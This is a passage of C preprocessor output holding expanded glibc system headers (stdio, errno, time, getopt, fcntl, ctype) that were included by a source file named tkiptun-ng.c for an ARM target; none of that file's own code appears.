extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
     __attribute__ ((__warn_unused_result__));






extern char *gets (char *__s) __attribute__ ((__warn_unused_result__));

# 662 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
          size_t *__restrict __n, int __delimiter,
          FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));
extern __ssize_t getdelim (char **__restrict __lineptr,
        size_t *__restrict __n, int __delimiter,
        FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));







extern __ssize_t getline (char **__restrict __lineptr,
       size_t *__restrict __n,
       FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));








extern int fputs (__const char *__restrict __s, FILE *__restrict __stream);





extern int puts (__const char *__s);






extern int ungetc (int __c, FILE *__stream);






extern size_t fread (void *__restrict __ptr, size_t __size,
       size_t __n, FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));




extern size_t fwrite (__const void *__restrict __ptr, size_t __size,
        size_t __n, FILE *__restrict __s) __attribute__ ((__warn_unused_result__));

# 734 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
         size_t __n, FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));
extern size_t fwrite_unlocked (__const void *__restrict __ptr, size_t __size,
          size_t __n, FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));








extern int fseek (FILE *__stream, long int __off, int __whence);




extern long int ftell (FILE *__stream) __attribute__ ((__warn_unused_result__));




extern void rewind (FILE *__stream);

# 778 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off64_t __off, int __whence) __asm__ ("" "fseeko64")

                  ;
extern __off64_t ftello (FILE *__stream) __asm__ ("" "ftello64");








# 803 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos) __asm__ ("" "fgetpos64")
                                          ;
extern int fsetpos (FILE *__stream, __const fpos_t *__pos) __asm__ ("" "fsetpos64")
                                                            ;






# 821 "/usr/include/stdio.h" 3 4


extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));

extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));

extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));




extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));








extern void perror (__const char *__s);






# 1 "/usr/include/bits/sys_errlist.h" 1 3 4
# 27 "/usr/include/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern __const char *__const sys_errlist[];
# 851 "/usr/include/stdio.h" 2 3 4




extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));




extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
# 870 "/usr/include/stdio.h" 3 4
extern FILE *popen (__const char *__command, __const char *__modes) __attribute__ ((__warn_unused_result__));





extern int pclose (FILE *__stream);





extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 910 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));



extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));


extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 931 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/bits/stdio.h" 1 3 4
# 44 "/usr/include/bits/stdio.h" 3 4
extern __inline int
getchar (void)
{
  return _IO_getc (stdin);
}




extern __inline int
fgetc_unlocked (FILE *__fp)
{
  return (__builtin_expect (((__fp)->_IO_read_ptr >= (__fp)->_IO_read_end), 0) ? __uflow (__fp) : *(unsigned char *) (__fp)->_IO_read_ptr++);
}





extern __inline int
getc_unlocked (FILE *__fp)
{
  return (__builtin_expect (((__fp)->_IO_read_ptr >= (__fp)->_IO_read_end), 0) ? __uflow (__fp) : *(unsigned char *) (__fp)->_IO_read_ptr++);
}


extern __inline int
getchar_unlocked (void)
{
  return (__builtin_expect (((stdin)->_IO_read_ptr >= (stdin)->_IO_read_end), 0) ? __uflow (stdin) : *(unsigned char *) (stdin)->_IO_read_ptr++);
}




extern __inline int
putchar (int __c)
{
  return _IO_putc (__c, stdout);
}




extern __inline int
fputc_unlocked (int __c, FILE *__stream)
{
  return (__builtin_expect (((__stream)->_IO_write_ptr >= (__stream)->_IO_write_end), 0) ? __overflow (__stream, (unsigned char) (__c)) : (unsigned char) (*(__stream)->_IO_write_ptr++ = (__c)));
}





extern __inline int
putc_unlocked (int __c, FILE *__stream)
{
  return (__builtin_expect (((__stream)->_IO_write_ptr >= (__stream)->_IO_write_end), 0) ? __overflow (__stream, (unsigned char) (__c)) : (unsigned char) (*(__stream)->_IO_write_ptr++ = (__c)));
}


extern __inline int
putchar_unlocked (int __c)
{
  return (__builtin_expect (((stdout)->_IO_write_ptr >= (stdout)->_IO_write_end), 0) ? __overflow (stdout, (unsigned char) (__c)) : (unsigned char) (*(stdout)->_IO_write_ptr++ = (__c)));
}
# 125 "/usr/include/bits/stdio.h" 3 4
extern __inline int
__attribute__ ((__nothrow__ , __leaf__)) feof_unlocked (FILE *__stream)
{
  return (((__stream)->_flags & 0x10) != 0);
}


extern __inline int
__attribute__ ((__nothrow__ , __leaf__)) ferror_unlocked (FILE *__stream)
{
  return (((__stream)->_flags & 0x20) != 0);
}
# 932 "/usr/include/stdio.h" 2 3 4


# 1 "/usr/include/bits/stdio2.h" 1 3 4
# 24 "/usr/include/bits/stdio2.h" 3 4
extern int __sprintf_chk (char *__restrict __s, int __flag, size_t __slen,
     __const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int __vsprintf_chk (char *__restrict __s, int __flag, size_t __slen,
      __const char *__restrict __format,
      __gnuc_va_list __ap) __attribute__ ((__nothrow__ , __leaf__));


extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) sprintf (char *__restrict __s, __const char *__restrict __fmt, ...)
{
  return __builtin___sprintf_chk (__s, 2 - 1,
      __builtin_object_size (__s, 2 > 1), __fmt, __builtin_va_arg_pack ());
}






extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) vsprintf (char *__restrict __s, __const char *__restrict __fmt, __gnuc_va_list __ap)

{
  return __builtin___vsprintf_chk (__s, 2 - 1,
       __builtin_object_size (__s, 2 > 1), __fmt, __ap);
}



extern int __snprintf_chk (char *__restrict __s, size_t __n, int __flag,
      size_t __slen, __const char *__restrict __format,
      ...) __attribute__ ((__nothrow__ , __leaf__));
extern int __vsnprintf_chk (char *__restrict __s, size_t __n, int __flag,
       size_t __slen, __const char *__restrict __format,
       __gnuc_va_list __ap) __attribute__ ((__nothrow__ , __leaf__));


extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) snprintf (char *__restrict __s, size_t __n, __const char *__restrict __fmt, ...)

{
  return __builtin___snprintf_chk (__s, __n, 2 - 1,
       __builtin_object_size (__s, 2 > 1), __fmt, __builtin_va_arg_pack ());
}






extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
__attribute__ ((__nothrow__ , __leaf__)) vsnprintf (char *__restrict __s, size_t __n, __const char *__restrict __fmt, __gnuc_va_list __ap)

{
  return __builtin___vsnprintf_chk (__s, __n, 2 - 1,
        __builtin_object_size (__s, 2 > 1), __fmt, __ap);
}





extern int __fprintf_chk (FILE *__restrict __stream, int __flag,
     __const char *__restrict __format, ...);
extern int __printf_chk (int __flag, __const char *__restrict __format, ...);
extern int __vfprintf_chk (FILE *__restrict __stream, int __flag,
      __const char *__restrict __format, __gnuc_va_list __ap);
extern int __vprintf_chk (int __flag, __const char *__restrict __format,
     __gnuc_va_list __ap);


extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
fprintf (FILE *__restrict __stream, __const char *__restrict __fmt, ...)
{
  return __fprintf_chk (__stream, 2 - 1, __fmt,
   __builtin_va_arg_pack ());
}

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
printf (__const char *__restrict __fmt, ...)
{
  return __printf_chk (2 - 1, __fmt, __builtin_va_arg_pack ());
}







extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
vprintf (__const char *__restrict __fmt, __gnuc_va_list __ap)
{

  return __vfprintf_chk (stdout, 2 - 1, __fmt, __ap);



}

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
vfprintf (FILE *__restrict __stream,
   __const char *__restrict __fmt, __gnuc_va_list __ap)
{
  return __vfprintf_chk (__stream, 2 - 1, __fmt, __ap);
}
# 220 "/usr/include/bits/stdio2.h" 3 4
extern char *__gets_chk (char *__str, size_t) __attribute__ ((__warn_unused_result__));
extern char *__gets_warn (char *__str) __asm__ ("" "gets")
     __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("please use fgets or getline instead, gets can't " "specify buffer size")))
                               ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char *
gets (char *__str)
{
  if (__builtin_object_size (__str, 2 > 1) != (size_t) -1)
    return __gets_chk (__str, __builtin_object_size (__str, 2 > 1));
  return __gets_warn (__str);
}

extern char *__fgets_chk (char *__restrict __s, size_t __size, int __n,
     FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));
extern char *__fgets_alias (char *__restrict __s, int __n, FILE *__restrict __stream) __asm__ ("" "fgets")

                                        __attribute__ ((__warn_unused_result__));
extern char *__fgets_chk_warn (char *__restrict __s, size_t __size, int __n, FILE *__restrict __stream) __asm__ ("" "__fgets_chk")


     __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("fgets called with bigger size than length " "of destination buffer")))
                                 ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char *
fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
{
  if (__builtin_object_size (__s, 2 > 1) != (size_t) -1)
    {
      if (!__builtin_constant_p (__n) || __n <= 0)
 return __fgets_chk (__s, __builtin_object_size (__s, 2 > 1), __n, __stream);

      if ((size_t) __n > __builtin_object_size (__s, 2 > 1))
 return __fgets_chk_warn (__s, __builtin_object_size (__s, 2 > 1), __n, __stream);
    }
  return __fgets_alias (__s, __n, __stream);
}

extern size_t __fread_chk (void *__restrict __ptr, size_t __ptrlen,
      size_t __size, size_t __n,
      FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));
extern size_t __fread_alias (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "fread")


            __attribute__ ((__warn_unused_result__));
extern size_t __fread_chk_warn (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "__fread_chk")




     __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("fread called with bigger size * nmemb than length " "of destination buffer")))
                                 ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) size_t
fread (void *__restrict __ptr, size_t __size, size_t __n,
       FILE *__restrict __stream)
{
  if (__builtin_object_size (__ptr, 0) != (size_t) -1)
    {
      if (!__builtin_constant_p (__size)
   || !__builtin_constant_p (__n)
   || (__size | __n) >= (((size_t) 1) << (8 * sizeof (size_t) / 2)))
 return __fread_chk (__ptr, __builtin_object_size (__ptr, 0), __size, __n, __stream);

      if (__size * __n > __builtin_object_size (__ptr, 0))
 return __fread_chk_warn (__ptr, __builtin_object_size (__ptr, 0), __size, __n, __stream);
    }
  return __fread_alias (__ptr, __size, __n, __stream);
}
# 319 "/usr/include/bits/stdio2.h" 3 4
extern size_t __fread_unlocked_chk (void *__restrict __ptr, size_t __ptrlen,
        size_t __size, size_t __n,
        FILE *__restrict __stream) __attribute__ ((__warn_unused_result__));
extern size_t __fread_unlocked_alias (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "fread_unlocked")


                     __attribute__ ((__warn_unused_result__));
extern size_t __fread_unlocked_chk_warn (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "__fread_unlocked_chk")




     __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("fread_unlocked called with bigger size * nmemb than " "length of destination buffer")))
                                        ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) size_t
fread_unlocked (void *__restrict __ptr, size_t __size, size_t __n,
  FILE *__restrict __stream)
{
  if (__builtin_object_size (__ptr, 0) != (size_t) -1)
    {
      if (!__builtin_constant_p (__size)
   || !__builtin_constant_p (__n)
   || (__size | __n) >= (((size_t) 1) << (8 * sizeof (size_t) / 2)))
 return __fread_unlocked_chk (__ptr, __builtin_object_size (__ptr, 0), __size, __n,
         __stream);

      if (__size * __n > __builtin_object_size (__ptr, 0))
 return __fread_unlocked_chk_warn (__ptr, __builtin_object_size (__ptr, 0), __size, __n,
       __stream);
    }


  if (__builtin_constant_p (__size)
      && __builtin_constant_p (__n)
      && (__size | __n) < (((size_t) 1) << (8 * sizeof (size_t) / 2))
      && __size * __n <= 8)
    {
      size_t __cnt = __size * __n;
      char *__cptr = (char *) __ptr;
      if (__cnt == 0)
 return 0;

      for (; __cnt > 0; --__cnt)
 {
   int __c = (__builtin_expect (((__stream)->_IO_read_ptr >= (__stream)->_IO_read_end), 0) ? __uflow (__stream) : *(unsigned char *) (__stream)->_IO_read_ptr++);
   if (__c == (-1))
     break;
   *__cptr++ = __c;
 }
      return (__cptr - (char *) __ptr) / __size;
    }

  return __fread_unlocked_alias (__ptr, __size, __n, __stream);
}
# 935 "/usr/include/stdio.h" 2 3 4






# 55 "tkiptun-ng.c" 2
# 1 "/usr/include/errno.h" 1 3 4
# 32 "/usr/include/errno.h" 3 4




# 1 "/usr/include/bits/errno.h" 1 3 4
# 25 "/usr/include/bits/errno.h" 3 4
# 1 "/usr/include/linux/errno.h" 1 3 4
# 1 "/usr/include/asm/errno.h" 1 3 4
# 1 "/usr/include/asm-generic/errno.h" 1 3 4



# 1 "/usr/include/asm-generic/errno-base.h" 1 3 4
# 5 "/usr/include/asm-generic/errno.h" 2 3 4
# 1 "/usr/include/asm/errno.h" 2 3 4
# 1 "/usr/include/linux/errno.h" 2 3 4
# 26 "/usr/include/bits/errno.h" 2 3 4
# 47 "/usr/include/bits/errno.h" 3 4
extern int *__errno_location (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
# 37 "/usr/include/errno.h" 2 3 4
# 59 "/usr/include/errno.h" 3 4

# 56 "tkiptun-ng.c" 2
# 1 "/usr/include/time.h" 1 3 4
# 30 "/usr/include/time.h" 3 4








# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 39 "/usr/include/time.h" 2 3 4



# 1 "/usr/include/bits/time.h" 1 3 4
# 43 "/usr/include/time.h" 2 3 4
# 131 "/usr/include/time.h" 3 4


struct tm
{
  int tm_sec;
  int tm_min;
  int tm_hour;
  int tm_mday;
  int tm_mon;
  int tm_year;
  int tm_wday;
  int tm_yday;
  int tm_isdst;


  long int tm_gmtoff;
  __const char *tm_zone;




};








struct itimerspec
  {
    struct timespec it_interval;
    struct timespec it_value;
  };


struct sigevent;
# 180 "/usr/include/time.h" 3 4



extern clock_t clock (void) __attribute__ ((__nothrow__ , __leaf__));


extern time_t time (time_t *__timer) __attribute__ ((__nothrow__ , __leaf__));


extern double difftime (time_t __time1, time_t __time0)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));


extern time_t mktime (struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__));





extern size_t strftime (char *__restrict __s, size_t __maxsize,
   __const char *__restrict __format,
   __const struct tm *__restrict __tp) __attribute__ ((__nothrow__ , __leaf__));

# 217 "/usr/include/time.h" 3 4
extern size_t strftime_l (char *__restrict __s, size_t __maxsize,
     __const char *__restrict __format,
     __const struct tm *__restrict __tp,
     __locale_t __loc) __attribute__ ((__nothrow__ , __leaf__));
# 230 "/usr/include/time.h" 3 4



extern struct tm *gmtime (__const time_t *__timer) __attribute__ ((__nothrow__ , __leaf__));



extern struct tm *localtime (__const time_t *__timer) __attribute__ ((__nothrow__ , __leaf__));





extern struct tm *gmtime_r (__const time_t *__restrict __timer,
       struct tm *__restrict __tp) __attribute__ ((__nothrow__ , __leaf__));



extern struct tm *localtime_r (__const time_t *__restrict __timer,
          struct tm *__restrict __tp) __attribute__ ((__nothrow__ , __leaf__));





extern char *asctime (__const struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__));


extern char *ctime (__const time_t *__timer) __attribute__ ((__nothrow__ , __leaf__));







extern char *asctime_r (__const struct tm *__restrict __tp,
   char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));


extern char *ctime_r (__const time_t *__restrict __timer,
        char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));




extern char *__tzname[2];
extern int __daylight;
extern long int __timezone;




extern char *tzname[2];



extern void tzset (void) __attribute__ ((__nothrow__ , __leaf__));



extern int daylight;
extern long int timezone;





extern int stime (__const time_t *__when) __attribute__ ((__nothrow__ , __leaf__));
# 313 "/usr/include/time.h" 3 4
extern time_t timegm (struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__));


extern time_t timelocal (struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__));


extern int dysize (int __year) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
# 328 "/usr/include/time.h" 3 4
extern int nanosleep (__const struct timespec *__requested_time,
        struct timespec *__remaining);



extern int clock_getres (clockid_t __clock_id, struct timespec *__res) __attribute__ ((__nothrow__ , __leaf__));


extern int clock_gettime (clockid_t __clock_id, struct timespec *__tp) __attribute__ ((__nothrow__ , __leaf__));


extern int clock_settime (clockid_t __clock_id, __const struct timespec *__tp)
     __attribute__ ((__nothrow__ , __leaf__));






extern int clock_nanosleep (clockid_t __clock_id, int __flags,
       __const struct timespec *__req,
       struct timespec *__rem);


extern int clock_getcpuclockid (pid_t __pid, clockid_t *__clock_id) __attribute__ ((__nothrow__ , __leaf__));




extern int timer_create (clockid_t __clock_id,
    struct sigevent *__restrict __evp,
    timer_t *__restrict __timerid) __attribute__ ((__nothrow__ , __leaf__));


extern int timer_delete (timer_t __timerid) __attribute__ ((__nothrow__ , __leaf__));


extern int timer_settime (timer_t __timerid, int __flags,
     __const struct itimerspec *__restrict __value,
     struct itimerspec *__restrict __ovalue) __attribute__ ((__nothrow__ , __leaf__));


extern int timer_gettime (timer_t __timerid, struct itimerspec *__value)
     __attribute__ ((__nothrow__ , __leaf__));


extern int timer_getoverrun (timer_t __timerid) __attribute__ ((__nothrow__ , __leaf__));
# 417 "/usr/include/time.h" 3 4

# 57 "tkiptun-ng.c" 2
# 1 "/usr/include/getopt.h" 1 3 4
# 59 "/usr/include/getopt.h" 3 4
extern char *optarg;
# 73 "/usr/include/getopt.h" 3 4
extern int optind;




extern int opterr;



extern int optopt;
# 106 "/usr/include/getopt.h" 3 4
struct option
{
  const char *name;


  int has_arg;
  int *flag;
  int val;
};
# 152 "/usr/include/getopt.h" 3 4
extern int getopt (int ___argc, char *const *___argv, const char *__shortopts)
       __attribute__ ((__nothrow__ , __leaf__));
# 175 "/usr/include/getopt.h" 3 4
extern int getopt_long (int ___argc, char *const *___argv,
   const char *__shortopts,
          const struct option *__longopts, int *__longind)
       __attribute__ ((__nothrow__ , __leaf__));
extern int getopt_long_only (int ___argc, char *const *___argv,
        const char *__shortopts,
               const struct option *__longopts, int *__longind)
       __attribute__ ((__nothrow__ , __leaf__));
# 58 "tkiptun-ng.c" 2

# 1 "/usr/include/fcntl.h" 1 3 4
# 30 "/usr/include/fcntl.h" 3 4




# 1 "/usr/include/bits/fcntl.h" 1 3 4
# 153 "/usr/include/bits/fcntl.h" 3 4
struct flock
  {
    short int l_type;
    short int l_whence;




    __off64_t l_start;
    __off64_t l_len;

    __pid_t l_pid;
  };
# 251 "/usr/include/bits/fcntl.h" 3 4

# 322 "/usr/include/bits/fcntl.h" 3 4

# 35 "/usr/include/fcntl.h" 2 3 4






# 1 "/usr/include/bits/stat.h" 1 3 4
# 39 "/usr/include/bits/stat.h" 3 4
struct stat
  {
    __dev_t st_dev;
    unsigned short int __pad1;



    __ino_t __st_ino;

    __mode_t st_mode;
    __nlink_t st_nlink;
    __uid_t st_uid;
    __gid_t st_gid;
    __dev_t st_rdev;
    unsigned short int __pad2;



    __off64_t st_size;

    __blksize_t st_blksize;




    __blkcnt64_t st_blocks;
# 73 "/usr/include/bits/stat.h" 3 4
    struct timespec st_atim;
    struct timespec st_mtim;
    struct timespec st_ctim;
# 91 "/usr/include/bits/stat.h" 3 4
    __ino64_t st_ino;

  };
# 42 "/usr/include/fcntl.h" 2 3 4
# 125 "/usr/include/fcntl.h" 3 4
extern int fcntl (int __fd, int __cmd, ...);
# 137 "/usr/include/fcntl.h" 3 4
extern int open (__const char *__file, int __oflag, ...) __asm__ ("" "open64")
     __attribute__ ((__nonnull__ (1)));
# 162 "/usr/include/fcntl.h" 3 4
extern int openat (int __fd, __const char *__file, int __oflag, ...) __asm__ ("" "openat64")
                    __attribute__ ((__nonnull__ (2)));
# 183 "/usr/include/fcntl.h" 3 4
extern int creat (__const char *__file, __mode_t __mode) __asm__ ("" "creat64")
                  __attribute__ ((__nonnull__ (1)));
# 230 "/usr/include/fcntl.h" 3 4
extern int posix_fadvise (int __fd, __off64_t __offset, __off64_t __len, int __advise) __asm__ ("" "posix_fadvise64") __attribute__ ((__nothrow__ , __leaf__))

                      ;
# 251 "/usr/include/fcntl.h" 3 4
extern int posix_fallocate (int __fd, __off64_t __offset, __off64_t __len) __asm__ ("" "posix_fallocate64")

                           ;
# 267 "/usr/include/fcntl.h" 3 4
# 1 "/usr/include/bits/fcntl2.h" 1 3 4
# 31 "/usr/include/bits/fcntl2.h" 3 4
extern int __open_2 (__const char *__path, int __oflag) __asm__ ("" "__open64_2")
                     __attribute__ ((__nonnull__ (1)));
extern int __open_alias (__const char *__path, int __oflag, ...) __asm__ ("" "open64")
                 __attribute__ ((__nonnull__ (1)));

extern void __open_too_many_args (void) __attribute__((__error__ ("open can be called either with 2 or 3 arguments, not more")))
                                                                  ;
extern void __open_missing_mode (void) __attribute__((__error__ ("open with O_CREAT in second argument needs 3 arguments")))
                                                               ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
open (__const char *__path, int __oflag, ...)
{
  if (__builtin_va_arg_pack_len () > 1)
    __open_too_many_args ();

  if (__builtin_constant_p (__oflag))
    {
      if ((__oflag & 0100) != 0 && __builtin_va_arg_pack_len () < 1)
 {
   __open_missing_mode ();
   return __open_2 (__path, __oflag);
 }
      return __open_alias (__path, __oflag, __builtin_va_arg_pack ());
    }

  if (__builtin_va_arg_pack_len () < 1)
    return __open_2 (__path, __oflag);

  return __open_alias (__path, __oflag, __builtin_va_arg_pack ());
}
# 105 "/usr/include/bits/fcntl2.h" 3 4
extern int __openat_2 (int __fd, __const char *__path, int __oflag) __asm__ ("" "__openat64_2")

     __attribute__ ((__nonnull__ (2)));
extern int __openat_alias (int __fd, __const char *__path, int __oflag, ...) __asm__ ("" "openat64")

     __attribute__ ((__nonnull__ (2)));

extern void __openat_too_many_args (void) __attribute__((__error__ ("openat can be called either with 3 or 4 arguments, not more")))
                                                                    ;
extern void __openat_missing_mode (void) __attribute__((__error__ ("openat with O_CREAT in third argument needs 4 arguments")))
                                                                ;

extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int
openat (int __fd, __const char *__path, int __oflag, ...)
{
  if (__builtin_va_arg_pack_len () > 1)
    __openat_too_many_args ();

  if (__builtin_constant_p (__oflag))
    {
      if ((__oflag & 0100) != 0 && __builtin_va_arg_pack_len () < 1)
 {
   __openat_missing_mode ();
   return __openat_2 (__fd, __path, __oflag);
 }
      return __openat_alias (__fd, __path, __oflag, __builtin_va_arg_pack ());
    }

  if (__builtin_va_arg_pack_len () < 1)
    return __openat_2 (__fd, __path, __oflag);

  return __openat_alias (__fd, __path, __oflag, __builtin_va_arg_pack ());
}
# 268 "/usr/include/fcntl.h" 2 3 4



# 60 "tkiptun-ng.c" 2
# 1 "/usr/include/ctype.h" 1 3 4
# 30 "/usr/include/ctype.h" 3 4

# 48 "/usr/include/ctype.h" 3 4
enum
{
  _ISupper = ((0) < 8 ? ((1 << (0)) << 8) : ((1 << (0)) >> 8)),
  _ISlower = ((1) < 8 ? ((1 << (1)) << 8) : ((1 << (1)) >> 8)),
  _ISalpha = ((2) < 8 ? ((1 << (2)) << 8) : ((1 << (2)) >> 8)),
  _ISdigit = ((3) < 8 ? ((1 << (3)) << 8) : ((1 << (3)) >> 8)),
  _ISxdigit = ((4) < 8 ? ((1 << (4)) << 8) : ((1 << (4)) >> 8)),
  _ISspace = ((5) < 8 ? ((1 << (5)) << 8) : ((1 << (5)) >> 8)),
  _ISprint = ((6) < 8 ? ((1 << (6)) << 8) : ((1 << (6)) >> 8)),
  _ISgraph = ((7) < 8 ? ((1 << (7)) << 8) : ((1 << (7)) >> 8)),
  _ISblank = ((8) < 8 ? ((1 << (8)) << 8) : ((1 << (8)) >> 8)),
  _IScntrl = ((9) < 8 ? ((1 << (9)) << 8) : ((1 << (9)) >> 8)),
  _ISpunct = ((10) < 8 ? ((1 << (10)) << 8) : ((1 << (10)) >> 8)),
  _ISalnum = ((11) < 8 ? ((1 << (11)) << 8) : ((1 << (11)) >> 8))
};
# 81 "/usr/include/ctype.h" 3 4
extern __const unsigned short int **__ctype_b_loc (void)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const));
extern __const __int32_t **__ctype_tolower_loc (void)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const));
extern __const __int32_t **__ctype_toupper_loc (void)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const));
# 106 "/usr/include/ctype.h" 3 4






extern int isalnum (int) __attribute__ ((__nothrow__ , __leaf__));
extern int isalpha (int) __attribute__ ((__nothrow__ , __leaf__));
extern int iscntrl (int) __attribute__ ((__nothrow__ , __leaf__));
extern int isdigit (int) __attribute__ ((__nothrow__ , __leaf__));
extern int islower (int) __attribute__ ((__nothrow__ , __leaf__));
extern int isgraph (int) __attribute__ ((__nothrow__ , __leaf__));
extern int isprint (int) __attribute__ ((__nothrow__ , __leaf__));
extern int ispunct (int) __attribute__ ((__nothrow__ , __leaf__));
extern int isspace (int) __attribute__ ((__nothrow__ , __leaf__));
extern int isupper (int) __attribute__ ((__nothrow__ , __leaf__));
extern int isxdigit (int) __attribute__ ((__nothrow__ , __leaf__));



extern int tolower (int __c) __attribute__ ((__nothrow__ , __leaf__));


extern int toupper (int __c) __attribute__ ((__nothrow__ , __leaf__));








extern int isblank (int) __attribute__ ((__nothrow__ , __leaf__));


# 152 "/usr/include/ctype.h" 3 4
extern int isascii (int __c) __attribute__ ((__nothrow__ , __leaf__));



extern int toascii (int __c) __attribute__ ((__nothrow__ , __leaf__));



extern int _toupper (int) __attribute__ ((__nothrow__ , __leaf__));
extern int _tolower (int) __attribute__ ((__nothrow__ , __leaf__));
# 216 "/usr/include/ctype.h" 3 4
extern __inline int
__attribute__ ((__nothrow__ , __leaf__)) tolower (int __c)
{
  return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;
}

extern __inline int
__attribute__ ((__nothrow__ , __leaf__)) toupper (int __c)
{
  return __c >= -128 && __c < 256 ? (*__ctype_toupper_loc ())[__c] : __c;
}
# 273 "/usr/include/ctype.h" 3 4
extern int isalnum_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int isalpha_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int iscntrl_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int isdigit_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int islower_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int isgraph_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int isprint_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int ispunct_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int isspace_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int isupper_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));
extern int isxdigit_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));

extern int isblank_l (int, __locale_t) __attribute__ ((__nothrow__ , __leaf__));



extern int __tolower_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__));
extern int tolower_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__));


extern int __toupper_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__));
extern int toupper_l (int __c, __locale_t __l) __attribute__ ((__nothrow__ , __leaf__));
# 349 "/usr/include/ctype.h" 3 4

# 61 "tkiptun-ng.c" 2

